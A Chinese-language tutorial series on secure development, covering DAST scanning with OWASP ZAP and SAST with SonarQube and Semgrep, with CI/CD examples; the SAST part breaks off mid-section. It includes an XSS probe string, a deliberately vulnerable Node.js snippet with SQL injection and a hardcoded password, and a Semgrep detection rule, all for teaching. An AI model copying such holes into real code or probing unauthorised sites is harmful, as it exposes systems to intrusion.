Q4:Vibe Coding 時代,AI 生成的程式碼需要額外注意什麼?

AI 生成的程式碼更需要安全 Pipeline。根據實際經驗,AI 生成的程式碼常見的安全問題包括:SQL 字串拼接(不使用參數化查詢)、缺少輸入驗證、硬編碼測試用密碼或金鑰、使用已知有漏洞的舊版套件。建議把 AI 生成的程式碼視為「需要安全審查的外部貢獻」——先過安全 Pipeline 掃描,再做 Code Review。安全 Pipeline 正是 AI 時代開發的安全網。


十、結語:讓安全成為部署的「自然動作」

回到蓋房子的比喻。

沒有人會說:「交屋前的驗收檢查太麻煩了,我們跳過吧。」因為驗收不合格的房子,住進去是要出事的。

CI/CD 安全整合也是一樣。當你在 Pipeline 裡加入安全關卡,安全就不再是「上線前臨時想起來的事」,而是「每次部署都自然而然會經過的檢查站」。

最棒的是,這一切都是自動的。你不需要每次都請資安團隊手動審查,你只需要設定好規則,讓機器替你把關。開發者該做的,就是寫好程式、推上 Git——剩下的,Pipeline 會告訴你。

安全不是恐懼,而是創造的基礎。
當你的每一次部署都通過了自動化安全檢查,你就能更有信心地交付產品——因為你知道,你的房子不只漂亮,更經得起考驗。


延伸閱讀

[安全測試] 002 DAST 動態測試實戰:用 OWASP ZAP 掃描你的網站,讓漏洞無所遁形

「程式碼寫得再安全,上線後不實際攻攻看,你怎麼知道門有沒有鎖好?」
— SSDLC by 飛飛


為什麼你需要 DAST?靜態掃描抓不到的,動態掃描來補

在 SSDLC 的學習旅程中,我們已經走過了安全需求定義、安全設計、安全編碼,也認識了 OWASP Top 10 的攻防手法。現在,來到了階段四:安全驗證(Verification)——是時候真正「動手打打看」了。

延續蓋房子的比喻:前面的階段就像畫好了防震設計圖(安全設計)、用了防火建材施工(安全編碼)。但房子蓋好後,你總得找人來實際搖一搖、敲一敲、拿火燒一下,確認這些防護真的有效吧?

這就是 DAST(Dynamic Application Security Testing,動態應用程式安全測試) 在做的事。

SAST vs. DAST:一個看設計圖,一個看成品

你可能聽過 SAST(靜態分析),它是在程式碼層面找問題,就像看建築設計圖找結構缺陷。而 DAST 則是在系統實際運行的狀態下,從外部發動攻擊,看看能不能打進去。

比較項目 SAST(靜態分析) DAST(動態分析)
檢測時機 開發階段,分析原始碼 測試/上線階段,攻擊運行中的系統
比喻 X 光片看骨骼結構 請專業小偷實際測試防盜系統
需要原始碼? 需要 不需要(黑箱測試)
能找到的問題 程式碼邏輯缺陷、不安全的寫法 實際可被利用的漏洞、設定錯誤
找不到的問題 執行環境的設定問題 程式碼內部邏輯(看不到原始碼)
誤報率 較高(不確定是否真的能被利用) 較低(真的打進去了才算)
代表工具 SonarQube、Semgrep OWASP ZAP、Burp Suite

飛飛觀點:
SAST 和 DAST 不是二選一,而是互補。SAST 像是你的家庭醫生做健檢,DAST 像是找專業駭客做滲透測試。兩個都做,才能最大程度確保系統安全。在 SSDLC 裡,我們建議兩者都整合進 CI/CD Pipeline


什麼是 OWASP ZAP?免費又強大的安全掃描神器

ZAP(Zed Attack Proxy) 是全世界最廣泛使用的網頁應用程式安全掃描器。它是開源免費的,由社群持續維護,是 GitHub Top 1000 專案之一。目前由 Checkmarx 贊助維護,最新穩定版本為 2.17.0。

用一句話解釋 ZAP 在做什麼:它模擬駭客的行為,自動對你的網站發動各種攻擊,然後告訴你哪裡有漏洞。

ZAP 的核心運作原理:中間人代理

ZAP 的工作方式就像一個「翻譯官」,站在你的瀏覽器和網站之間:

你的瀏覽器 ←→ ZAP(攔截、分析、修改請求) ←→ 你的網站

就像便利商店的監視器——所有進出的人(HTTP 請求與回應)都會被記錄下來。ZAP 不只記錄,還會分析這些流量,找出可疑的安全問題。

ZAP 能幫你找到什麼?

ZAP 的掃描規則涵蓋了 OWASP Top 10 的大部分類別:

OWASP Top 10 類別 ZAP 能偵測的範例
A01 Broken Access Control 目錄遍歷、敏感檔案暴露
A02 Security Misconfiguration 缺少安全標頭、錯誤頁面洩漏資訊
A03 Software Supply Chain 使用已知有漏洞的 JavaScript 函式庫
A05 Injection SQL Injection、XSS、OS Command Injection
A07 Authentication Failures 弱密碼、Session 管理問題
A08 Integrity Failures 缺少 SRI 標籤
A09 Logging & Alerting 無法直接檢測(需要人工審查)

安裝 OWASP ZAP:三種方式任你選

方式一:桌面版安裝(推薦新手)

最直覺的方式,有圖形化介面,適合學習和手動探索。

系統需求: Java 17 或更高版本

ZAP 官方下載頁面 下載對應作業系統的安裝檔:

作業系統 安裝方式
Windows 下載 .exe 安裝檔,或用 <code>winget install ZAP</code>
macOS 下載 .dmg,拖到 Applications
Linux 下載 .tar.gz,或用 <code>flatpak install flathub org.zaproxy.ZAP</code>

方式二:Docker 安裝(推薦 CI/CD 整合)

不需要安裝 Java,一行指令搞定,最適合自動化:

# 拉取穩定版映像
docker pull zaproxy/zap-stable

# 或是拉取精簡版(CI 環境專用,體積更小)
docker pull ghcr.io/zaproxy/zaproxy:bare

方式三:套件管理器

# macOS(Homebrew)
brew install --cask zap

# Windows(Scoop)
scoop install extras/zap

# Windows(Chocolatey)
choco install zap

飛飛觀點:
如果你是第一次接觸 DAST,建議先用桌面版玩一玩,熟悉介面和概念後,再學 Docker 版做自動化。就像學開車,先在練習場熟悉方向盤,再上高速公路。


ZAP 基本操作:從零開始掃描你的第一個網站

重要提醒:只掃描你有權限的系統

在開始之前,最重要的事情:

絕對不要對沒有授權的網站執行安全掃描。 這不只是道德問題,還可能觸犯法律。就像你不能因為「想測試防盜系統」就去撬別人家的門。

安全的練習環境:

練習平台 說明 網址
OWASP Juice Shop 故意有漏洞的電商網站 https://owasp.org/www-project-juice-shop/
OWASP WebGoat 互動式資安教學平台 https://owasp.org/www-project-webgoat/
DVWA 經典的漏洞練習平台 https://github.com/digininja/DVWA
nodelab.feifei.tw 飛飛的 Node.js 練習靶站 https://nodelab.feifei.tw

以下示範,我們用 OWASP Juice Shop 作為掃描目標。

Step 1:啟動練習靶站

# 用 Docker 啟動 Juice Shop
docker run -d -p 3000:3000 bkimminich/juice-shop

# 確認靶站運行中
# 打開瀏覽器,連到 http://localhost:3000

Step 2:啟動 ZAP 並設定掃描目標

打開 ZAP 桌面版後,你會看到一個歡迎畫面,選擇「Automated Scan」(自動掃描)。

在「URL to attack」欄位輸入:

http://localhost:3000

Step 3:理解 ZAP 的三種掃描模式

ZAP 提供三種掃描模式,就像檢查房子安全的三種力道:

掃描模式 做了什麼 風險程度 適用場景
Spider(爬蟲) 自動探索網站的所有連結和頁面 低(只是瀏覽) 了解網站結構
Passive Scan(被動掃描) 分析經過 ZAP 的流量,不主動攻擊 低(只看不打) 快速找出明顯問題
Active Scan(主動掃描) 對目標發動實際攻擊測試 高(會送惡意 payload) 找出可被利用的漏洞

建議順序:

Spider → Passive Scan → Active Scan
先探索 → 再觀察 → 最後動手打

飛飛觀點:
被動掃描隨時可以跑,它就像站在路邊觀察交通流量。但主動掃描要小心,它會真的發送攻擊請求——所以千萬不要對正式環境的生產系統跑主動掃描,除非你有明確的授權和風險評估。

Step 4:執行自動掃描

在 ZAP 的 Quick Start 標籤中:

  1. 輸入目標 URL:<code>http://localhost:3000</code>
  2. 點擊「Attack」
  3. ZAP 會依序執行:Spider → Passive Scan → Active Scan

掃描過程中,你可以在下方的面板看到即時進度:

  • Spider 標籤:顯示發現的 URL 數量
  • Active Scan 標籤:顯示掃描進度百分比
  • Alerts 標籤:顯示已發現的安全問題

掃描報告解讀:看懂 ZAP 告訴你的事

掃描完成後,ZAP 會產生一份包含所有發現的報告。讓我們學會怎麼看。

Alert 的風險等級

ZAP 用四種顏色標示風險等級:

風險等級 顏色 說明 處理優先順序
High(高) 🔴 紅色 可被直接利用的嚴重漏洞 立即修復
Medium(中) 🟠 橘色 有潛在風險但利用條件較複雜 盡快修復
Low(低) 🟡 黃色 資訊洩漏或最佳實踐未遵循 排程修復
Informational(資訊) 🔵 藍色 參考資訊,不一定是漏洞 評估後決定

常見的掃描發現與修復建議

以下是對 Juice Shop 或一般 Node.js 網站掃描時最常看到的問題:

🔴 High:SQL Injection

ZAP 發現什麼: 在搜尋功能或登入表單中,注入 SQL 語句後得到異常回應。

修復方式:

// ❌ 危險:字串拼接
const query = <code>SELECT * FROM products WHERE name = '${userInput}'</code>;

// ✅ 安全:參數化查詢
const query = 'SELECT * FROM products WHERE name = $1';
const result = await pool.query(query, [userInput]);

🔴 High:Cross-Site Scripting(XSS)

ZAP 發現什麼: 在輸入欄位注入 <code><script>alert(1)</script></code> 後,腳本被執行。

修復方式:

// ✅ 使用輸出編碼
const he = require('he');
const safeOutput = he.encode(userInput);

// ✅ 使用 DOMPurify 清理 HTML
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
const cleanHTML = DOMPurify.sanitize(dirtyInput);

🟠 Medium:Missing Security Headers

ZAP 發現什麼: HTTP 回應缺少關鍵的安全標頭。

修復方式:

const helmet = require('helmet');
app.use(helmet());

// 或手動設定
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  res.setHeader('Content-Security-Policy', "default-src 'self'");
  next();
});

🟡 Low:Cookie Without Secure Flag

ZAP 發現什麼: Session Cookie 沒有設定 <code>Secure</code> 和 <code>HttpOnly</code> 旗標。

修復方式:

app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    secure: true,      // 只在 HTTPS 傳送
    httpOnly: true,     // JavaScript 無法存取
    sameSite: 'strict', // 防止 CSRF
    maxAge: 3600000     // 1 小時過期
  }
}));

🔵 Informational:Application Error Disclosure

ZAP 發現什麼: 錯誤頁面暴露了框架版本、堆疊追蹤等內部資訊。

修復方式:

// ✅ 自訂錯誤處理,不洩漏內部資訊
app.use((err, req, res, next) => {
  // 記錄完整錯誤到日誌(內部使用)
  logger.error('Application Error', { 
    error: err.message, 
    stack: err.stack 
  });

  // 回傳給使用者的只有通用訊息
  res.status(500).json({ 
    error: '系統處理時發生錯誤,請稍後再試' 
  });
});

// ✅ 在 Express 中隱藏框架資訊
app.disable('x-powered-by');

處理誤報(False Positives)

ZAP 不是完美的,它有時候會報告「假警報」。處理誤報的步驟:

  1. 手動驗證:對 ZAP 標記的漏洞,嘗試手動重現攻擊
  2. 分析上下文:看看這個 Alert 在你的系統中是否真的構成風險
  3. 標記為誤報:在 ZAP 中將確認的誤報標記為「False Positive」,避免下次重複出現
  4. 記錄原因:記下為什麼判定為誤報,方便團隊日後參考

產出掃描報告:給團隊和主管看的安全報告

從 ZAP 桌面版匯出報告

在 ZAP 中,選擇「Report」→「Generate Report」:

報告格式 適用對象 說明
HTML 團隊內部分享 最直觀,可在瀏覽器開啟
JSON 自動化處理 適合程式解析、整合到其他系統
XML 合規稽核 標準格式,適合提交給稽核單位
Markdown 文件紀錄 可直接放進 Git 做版本控制

從 Docker 版產出報告

# Baseline Scan(被動掃描,適合 CI/CD)
docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable \
  zap-baseline.py \
  -t http://your-staging-site.com \
  -r baseline-report.html

# Full Scan(完整掃描,含主動攻擊)
docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable \
  zap-full-scan.py \
  -t http://your-staging-site.com \
  -r full-scan-report.html

# API Scan(API 專用掃描)
docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable \
  zap-api-scan.py \
  -t http://your-staging-site.com/swagger.json \
  -f openapi \
  -r api-report.html

飛飛觀點:
報告不是掃完就丟的。好的做法是每次掃描完,把報告存進 Git,追蹤漏洞數量的趨勢變化。如果 High 和 Medium 的數量持續下降,就代表你們的安全做得越來越好——這就是用數據證明安全投資的價值。


自動化掃描:把 ZAP 整合進 CI/CD Pipeline

手動掃描很好,但我們的目標是讓安全檢查自動化——每次部署前自動跑掃描,發現問題就阻擋部署。

GitHub Actions 整合範例

name: DAST Security Scan

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  dast-scan:
    runs-on: ubuntu-latest

    services:
      # 啟動你的應用程式
      webapp:
        image: your-app:latest
        ports:
          - 3000:3000

    steps:
      - name: Checkout
        uses: actions/checkout@v4

      # 等待應用程式啟動
      - name: Wait for app
        run: |
          for i in $(seq 1 30); do
            curl -s http://localhost:3000 && break
            echo "Waiting for app to start... ($i/30)"
            sleep 2
          done

      # ZAP Baseline Scan(被動掃描,速度快)
      - name: ZAP Baseline Scan
        uses: zaproxy/action-baseline@v0.14.0
        with:
          target: 'http://localhost:3000'
          rules_file_name: '.zap/rules.tsv'
          cmd_options: '-a'

      # 上傳掃描報告
      - name: Upload Report
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: zap-report
          path: report_html.html

自訂掃描規則:控制哪些 Alert 該擋、哪些該放

建立 <code>.zap/rules.tsv</code> 檔案,定義每條規則的處理方式:

10011   IGNORE  (Cookie Without Secure Flag - 開發環境可忽略)
10015   IGNORE  (Incomplete or No Cache-control - 非安全關鍵)
10021   WARN    (X-Content-Type-Options Header Missing)
10038   WARN    (Content Security Policy Header Not Set)
40012   FAIL    (Cross Site Scripting - Reflected - 必須阻擋)
40014   FAIL    (Cross Site Scripting - Persistent - 必須阻擋)
40018   FAIL    (SQL Injection - 必須阻擋)
90022   FAIL    (Application Error Disclosure - 不應洩漏資訊)
  • FAIL:發現就阻擋部署(Pipeline 失敗)
  • WARN:發出警告但不阻擋
  • IGNORE:完全忽略(確認的誤報或可接受的風險)

ZAP Automation Framework:進階自動化

ZAP 的 Automation Framework 是官方推薦的自動化方式,用一個 YAML 檔案控制所有掃描行為:

# zap-automation.yaml
env:
  contexts:
    - name: "My App"
      urls:
        - "http://localhost:3000"
      includePaths:
        - "http://localhost:3000.*"
      excludePaths:
        - "http://localhost:3000/logout"

jobs:
  # Step 1: 被動掃描規則設定
  - type: passiveScan-config
    parameters:
      maxAlertsPerRule: 10
      scanOnlyInScope: true

  # Step 2: 爬蟲探索
  - type: spider
    parameters:
      context: "My App"
      maxDuration: 5  # 最多跑 5 分鐘

  # Step 3: 等待被動掃描完成
  - type: passiveScan-wait
    parameters:
      maxDuration: 10

  # Step 4: 主動掃描
  - type: activeScan
    parameters:
      context: "My App"
      maxRuleDurationInMins: 5
      maxScanDurationInMins: 30

  # Step 5: 產出報告
  - type: report
    parameters:
      template: "traditional-html"
      reportDir: "/zap/wrk/"
      reportFile: "zap-report.html"
    risks:
      - high
      - medium
      - low

用 Docker 執行:

docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable \
  zap.sh -cmd -autorun /zap/wrk/zap-automation.yaml

實戰案例:台灣電商平台的 DAST 掃描流程

場景

你的團隊正在為一家台灣電商平台的會員系統做上線前的安全驗證。系統使用 Node.js + Express + PostgreSQL,功能包含會員註冊、登入、商品瀏覽、購物車、結帳。

Step 1:規劃掃描範圍

## DAST 掃描計畫

### 掃描目標
- 測試環境:https://staging.your-ecommerce.com.tw
- 掃描時間:週末凌晨(避免影響測試環境使用者)
- 掃描工具:OWASP ZAP 2.17.0(Docker 版)

### 掃描範圍
✅ 包含:
- 會員註冊/登入/登出
- 商品搜尋與瀏覽
- 購物車操作
- 結帳流程(測試用信用卡)
- 會員資料修改
- API 端點(/api/v1/*)

❌ 排除:
- 第三方金流回呼(避免影響金流服務商)
- /admin/* 管理後台(另案處理)
- /healthcheck(監控端點)

### 掃描模式
1. Spider + Passive Scan(第一輪)
2. Active Scan(第二輪,針對高風險功能)
3. API Scan(針對 Swagger 定義的 API)

Step 2:執行掃描並記錄發現

假設掃描後得到以下結果:

風險等級 數量 關鍵發現
🔴 High 2 SQL Injection(商品搜尋)、Reflected XSS(會員暱稱)
🟠 Medium 5 缺少 CSP 標頭、CORS 設定過於寬鬆、Session Cookie 未設 SameSite
🟡 Low 8 X-Powered-By 洩漏框架資訊、Cookie 缺少 Secure flag
🔵 Info 12 各項資訊性發現

Step 3:建立修復追蹤表

| 編號 | 風險等級 | 漏洞類型 | 影響範圍 | 負責人 | 修復期限 | 狀態 |
|------|---------|---------|---------|--------|---------|------|
| V-001 | High | SQL Injection | 商品搜尋 API | 後端工程師 A | 3 天內 | 🔧 修復中 |
| V-002 | High | Reflected XSS | 會員暱稱顯示 | 前端工程師 B | 3 天內 | 🔧 修復中 |
| V-003 | Medium | Missing CSP | 全站 | DevOps C | 1 週內 | ⏳ 待處理 |
| V-004 | Medium | CORS 過寬 | API 端點 | 後端工程師 A | 1 週內 | ⏳ 待處理 |

Step 4:修復後重新掃描

修復完成後,一定要重新掃描,確認漏洞確實被修復了。這就像修完水管後要重新開水測試一樣。

# 修復後的驗證掃描
docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable \
  zap-baseline.py \
  -t https://staging.your-ecommerce.com.tw \
  -r verification-scan-report.html

DAST 掃描 Checklist:團隊可直接使用

## DAST 掃描 Checklist

### 掃描前
- [ ] 已取得目標系統的掃描授權
- [ ] 掃描目標為測試/Staging 環境(非生產環境)
- [ ] 已確認掃描範圍(包含/排除的 URL)
- [ ] 已通知相關團隊掃描時程
- [ ] 測試資料已準備好(測試帳號、測試信用卡等)

### 掃描中
- [ ] Spider 探索完成,確認覆蓋率
- [ ] Passive Scan 完成,初步檢視結果
- [ ] Active Scan 完成(注意是否影響目標系統效能)
- [ ] API Scan 完成(如有 Swagger/OpenAPI 定義)

### 掃描後
- [ ] 匯出掃描報告(HTML + JSON)
- [ ] 逐一檢視 High 和 Medium 的 Alert
- [ ] 排除誤報(False Positive),記錄判斷原因
- [ ] 建立漏洞修復追蹤表
- [ ] 將報告存入版本控制(Git)
- [ ] 通知開發團隊修復發現的漏洞
- [ ] 排定修復後的驗證掃描時間

團隊落地建議:讓 DAST 變成日常

建議一:分階段導入,別一次到位

階段 做什麼 工具設定
Week 1-2 手動在 Staging 環境跑 ZAP Baseline Scan ZAP 桌面版
Week 3-4 把 Baseline Scan 加入 CI/CD GitHub Actions + ZAP Docker
Month 2 加入 Active Scan(僅限 Staging) ZAP Automation Framework
Month 3 建立自訂規則和誤報管理流程 rules.tsv + 漏洞追蹤表
持續 每季做一次完整的手動滲透測試 ZAP + 專業資安團隊

建議二:從 Baseline Scan 開始,不要一開始就跑 Full Scan

Baseline Scan 只做被動掃描,速度快(通常幾分鐘內完成)、風險低(不會對目標系統造成影響),非常適合放在每次 PR 或部署前自動執行。

Full Scan 和 Active Scan 因為會實際發動攻擊,建議:

  • 只在 Staging 環境 執行
  • 安排在 非尖峰時段 執行
  • 第一次跑的時候 有人監控 系統狀態

建議三:把 DAST 結果和 SAST 結果關聯起來

當 ZAP 發現一個 SQL Injection 漏洞時,對應回去看 SAST 工具有沒有在同一個位置標記問題。如果 SAST 沒抓到但 DAST 抓到了,代表你的 SAST 規則可能需要調整。反之亦然。

情境 代表的意義 行動
SAST ✅ DAST ✅ 兩者都找到,很好 修復漏洞
SAST ❌ DAST ✅ SAST 漏掉了 修復漏洞 + 調整 SAST 規則
SAST ✅ DAST ❌ 可能是 SAST 誤報 手動驗證
SAST ❌ DAST ❌ 沒問題…或兩個都漏掉了 考慮搭配滲透測試

建議四:建立「安全品質門檻」

在 CI/CD Pipeline 中設定明確的門檻——什麼等級的漏洞會阻擋部署:

# 安全品質門檻定義
security_gate:
  block_deployment:
    - high_risk_count > 0      # 有任何 High 風險就擋
    - medium_risk_count > 5    # Medium 超過 5 個就擋
  warn_only:
    - low_risk_count > 20      # Low 超過 20 個發警告
    - new_alerts > 0           # 有任何新發現就通知

常見問題 FAQ

Q1:ZAP 掃描要跑多久?會不會影響系統效能?

Baseline Scan(被動掃描)通常幾分鐘內完成,對系統效能影響很小。Full Scan(含主動掃描)時間取決於網站大小,小型網站可能 30 分鐘到 1 小時,大型網站可能需要數小時。主動掃描會產生大量請求,建議在 Staging 環境執行,並在非尖峰時段進行。

Q2:ZAP 跟 Burp Suite 比,該選哪個?

ZAP 是開源免費的,功能已經非常強大,對於大部分團隊來說綽綽有餘。Burp Suite Professional 是付費工具(年費約 USD $449),在某些進階功能上更強(如更好的爬蟲引擎、Intruder 模組)。如果你是資安新手或預算有限,從 ZAP 開始絕對沒問題。如果團隊有專職的滲透測試人員,可以考慮 Burp Suite Professional 作為進階工具。

Q3:ZAP 掃不到某些頁面怎麼辦?

ZAP 的 Spider 有時候無法探索到需要登入才能看到的頁面,或是前端框架(如 React、Vue)動態生成的內容。解決方案:

  • 登入問題:使用 ZAP 的 Authentication 設定,讓 ZAP 能自動登入
  • 前端框架問題:使用 ZAP 2.16.0+ 的 Client Spider,它能更好地處理 JavaScript 驅動的頁面
  • 手動探索:先手動瀏覽網站(透過 ZAP Proxy),讓 ZAP 記錄所有頁面,再執行主動掃描

Q4:掃描結果一大堆 Alert,怎麼分辨哪些是真的、哪些是誤報?

先從 High 風險開始看,數量通常不多。對每個 High Alert,用 ZAP 的「Resend」功能手動重送攻擊請求,看看回應是否真的表示漏洞存在。如果你不確定,可以請教資安同事或在 OWASP 社群發問。Medium 和 Low 的 Alert 可以先建立一份清單,逐步處理。

Q5:我的團隊只有開發人員,沒有資安專家,適合用 ZAP 嗎?

完全適合。ZAP 的設計目標之一就是讓開發人員也能做基本的安全測試。Baseline Scan 幾乎不需要安全知識就能執行和解讀結果。隨著團隊經驗累積,可以慢慢學習 Active Scan 和更進階的功能。記住,有做總比沒做好——就算只是跑一次 Baseline Scan,你已經比大多數團隊做得多了。


結語:安全測試不是找碴,而是找到讓系統更強的機會

很多開發者聽到「安全掃描」會緊張,覺得好像是要來挑自己程式碼的毛病。但換個角度想——DAST 就像你的系統的「健康檢查」。你不會因為醫生發現你膽固醇偏高就生醫生的氣,反而會感謝他提早發現問題,讓你有機會調整。

OWASP ZAP 就是你的系統醫生。它免費、開源、社群活躍,從個人專案到企業級應用都能勝任。

回到蓋房子的比喻——你的房子蓋好了,安裝了防盜門、監視器、消防設備。但你得真正測試一下這些設備有沒有用。DAST 就是幫你做這件事的。

安全不是恐懼,而是創造的基礎。
當你知道系統經過了真實的攻擊測試,你就能更有信心地面對使用者——因為你知道,你的房子不只看起來安全,而是真的安全。


延伸閱讀

[安全測試] 001 SAST 靜態分析入門:讓工具幫你審程式碼——SonarQube、Semgrep 工具使用與 IDE 整合實戰

「人的眼睛會累、會遺漏,但工具不會。
靜態分析不是取代 Code Review,而是幫你在 Review 之前,先過濾掉那些不該犯的錯。」
— SSDLC by 飛飛


一、SAST 是什麼?為什麼它是你的「自動驗屋師」?

在 SSDLC 的蓋房子旅程中,我們已經走過了安全需求定義(確認要防什麼)、安全設計(畫好藍圖、標好消防通道)、安全實作(用防火建材施工、學會輸入驗證與輸出編碼、熟悉 OWASP Top 10)。

現在,我們來到了階段四:安全驗證(Verification)——房子蓋好了,要請結構技師來檢查。

想像你花了半年蓋好一棟房子。交屋前,你會做什麼?當然是請專業的驗屋師來檢查——看看牆壁有沒有裂縫、水管有沒有漏水、電線有沒有接錯。你不會等住進去之後才發現問題,對吧?

SAST(Static Application Security Testing,靜態應用程式安全測試)就是軟體世界的「自動驗屋師」。 它不需要把程式跑起來,直接看你的原始碼,找出裡面潛藏的安全漏洞。

跟動態測試(DAST)不同的是——DAST 是把系統跑起來然後從外面攻擊它(像小偷試著破門而入),而 SAST 是打開牆壁看裡面的結構(像 X 光檢查)。兩者互補,但 SAST 的最大優勢是:你可以在程式碼還沒部署之前就抓到問題

比較項目 SAST(靜態分析) DAST(動態分析)
比喻 X 光檢查建築結構 派小偷來試著破門而入
檢查時機 寫程式時 / CI/CD 階段 系統部署後
需要執行程式嗎? 不需要 需要
能看到原始碼嗎? 能(白箱) 不能(黑箱)
擅長找什麼? SQL Injection、XSS、硬編碼金鑰、不安全的函式呼叫 認證問題、設定錯誤、運行時漏洞
誤報率 偏高(但可調整) 偏低
修復成本 低(問題還在開發者手上) 高(可能要改架構)

飛飛觀點:
我常跟團隊說,SAST 就像開車上路前的車輛檢查。你不會等車子在高速公路上拋錨才想到要檢查煞車吧?SAST 讓你在程式碼還在「車庫」的時候就把問題抓出來——修起來又快又便宜。


二、SAST 能幫你找到什麼?常見漏洞全覽

很多開發者聽到「靜態分析」,第一反應是:「不就是 Lint 嗎?ESLint 我早就在用了。」

ESLint 確實是靜態分析的一種,但它主要關注的是程式碼風格和基本錯誤。安全導向的 SAST 工具關注的是完全不同的維度——它們在找的是可以被攻擊者利用的漏洞。

以下是 SAST 工具常見的檢測類別,對應到我們之前學過的 OWASP Top 10:

漏洞類別 SAST 能偵測的範例 對應 OWASP Top 10
注入攻擊 SQL 字串拼接、Command Injection A05: Injection
跨站腳本 未編碼的使用者輸入直接輸出到 HTML A05: Injection
硬編碼機敏資料 密碼、API Key 直接寫在程式碼裡 A04: Cryptographic Failures
不安全的加密 使用 MD5/SHA1 雜湊密碼、弱加密演算法 A04: Cryptographic Failures
路徑穿越 使用者輸入直接拼接檔案路徑 A01: Broken Access Control
不安全的反序列化 直接反序列化不受信任的資料 A08: Software or Data Integrity
不安全的正規表達式 ReDoS(正規表達式阻斷服務)風險 A10: Mishandling of Exceptional Conditions
缺少安全標頭 未設定 CORS、CSP 等安全標頭 A02: Security Misconfiguration

讓我們看一個真實的例子。以下這段 Node.js 程式碼,你能看出幾個問題?

// ❌ 這段程式碼有多少安全問題?
const express = require('express');
const mysql = require('mysql');
const app = express();

const DB_PASSWORD = 'MyS3cretP@ss!';  // 問題 1

app.get('/user', (req, res) => {
  const userId = req.query.id;
  const query = <code>SELECT * FROM users WHERE id = '${userId}'</code>;  // 問題 2

  connection.query(query, (err, results) => {
    if (err) {
      res.status(500).send(<code class="kb-btn">Error: ${err.message}</code>);  // 問題 3
      return;
    }
    res.send(results);  // 問題 4
  });
});

人工 Code Review 可能會漏掉一兩個,但 SAST 工具會一次全部標出來:

  1. 硬編碼密碼(<code>DB_PASSWORD</code> 直接寫在程式碼裡)
  2. SQL Injection(字串拼接組合 SQL 查詢)
  3. 錯誤資訊洩露(把資料庫錯誤訊息直接回傳給使用者)
  4. 過度資料暴露(回傳整個 <code>results</code> 物件,可能包含敏感欄位)

這就是 SAST 的價值——它不會累、不會忘記、不會因為趕 deadline 就放水


三、工具選擇:SonarQube vs. Semgrep

市面上 SAST 工具百百種,但對於台灣的中小型開發團隊來說,有兩個工具特別值得認識:SonarQubeSemgrep。它們各有特色,適合不同的使用情境。

3.1 SonarQube:程式碼品質與安全的「全科醫生」

SonarQube 就像一位全科醫生——不只看安全漏洞,還會幫你檢查程式碼品質、重複程式碼、測試覆蓋率等整體健康狀況。

特色:

  • 支援 30+ 種程式語言
  • 提供 Web 介面的儀表板,視覺化呈現程式碼健康狀況
  • 內建「品質門檻(Quality Gate)」機制,可以自動阻擋不達標的程式碼
  • Community Build 版本免費,適合中小團隊入門
  • 支援 IDE 外掛(SonarQube for IDE,支援 VS Code、JetBrains、Cursor 等)

適合場景:

  • 想要一個「一站式」的程式碼品質管理平台
  • 團隊有自己的伺服器或 Docker 環境可以部署
  • 需要追蹤長期的程式碼品質趨勢

快速啟動(Docker):

# 使用 Docker 快速啟動 SonarQube Community Build
docker run -d --name sonarqube \
  -p 9000:9000 \
  sonarqube:community

# 啟動後開啟瀏覽器 http://localhost:9000
# 預設帳號密碼:admin / admin(首次登入會要求修改)

在 Node.js 專案中使用 SonarQube Scanner:

# 安裝 SonarQube Scanner
npm install -D sonarqube-scanner
// sonar-project.js — SonarQube 掃描設定
const sonarqubeScanner = require('sonarqube-scanner').default;

sonarqubeScanner(
  {
    serverUrl: 'http://localhost:9000',
    token: process.env.SONAR_TOKEN,  // 從環境變數讀取 Token
    options: {
      'sonar.projectKey': 'my-nodejs-app',
      'sonar.projectName': 'My Node.js App',
      'sonar.sources': 'src',
      'sonar.tests': 'tests',
      'sonar.javascript.lcov.reportPaths': 'coverage/lcov.info',
      'sonar.exclusions': 'node_modules/**,coverage/**,dist/**',
    },
  },
  () => process.exit()
);
// package.json — 加入掃描指令
{
  "scripts": {
    "sonar": "node sonar-project.js",
    "test:coverage": "jest --coverage",
    "security:scan": "npm run test:coverage && npm run sonar"
  }
}

3.2 Semgrep:輕量、快速的「安全專科醫生」

如果 SonarQube 是全科醫生,Semgrep 就是安全專科醫生——它更專注在安全漏洞的偵測,而且規則的撰寫方式非常直覺,就像在寫程式碼一樣。

特色:

  • 開源免費(Community Edition),商業版提供 AI 輔助分類
  • 規則語法像程式碼,開發者容易理解和自訂
  • 不需要編譯,掃描速度極快
  • 內建 OWASP Top 10、CWE Top 25 等規則集
  • 支援 30+ 種程式語言
  • 2025 年入選 Gartner Magic Quadrant for Application Security Testing

適合場景:

  • 想要快速在 CI/CD 中加入安全掃描
  • 團隊偏好命令列工具,不想架設額外伺服器
  • 需要自訂安全規則來符合公司特殊需求
  • 想要針對 OWASP Top 10 做專項掃描

快速啟動:

# 安裝 Semgrep(需要 Python 3.8+)
pip install semgrep

# 或使用 Homebrew(macOS)
brew install semgrep

# 用 OWASP Top 10 規則掃描目前的專案
semgrep --config p/owasp-top-ten .

# 用 Node.js 安全規則掃描
semgrep --config p/nodejs .

# 同時使用多個規則集
semgrep --config p/owasp-top-ten --config p/nodejs --config p/secrets .

Semgrep 規則長什麼樣?

這是 Semgrep 最酷的地方——它的規則長得就像程式碼:

# custom-rules/no-sql-string-concat.yml
rules:
  - id: sql-string-concatenation
    patterns:
      - pattern: |
          $QUERY = <code>...${$USER_INPUT}...</code>
      - pattern-not: |
          $QUERY = <code>...${$SAFE_VALUE}...</code>
    message: |
      偵測到 SQL 字串拼接,可能導致 SQL Injection。
      請使用參數化查詢(Parameterized Query)代替。
    languages: [javascript, typescript]
    severity: ERROR
    metadata:
      owasp: A05:2025 Injection
      cwe: CWE-89
      fix: 使用 $1 placeholder 和參數陣列
# 使用自訂規則掃描
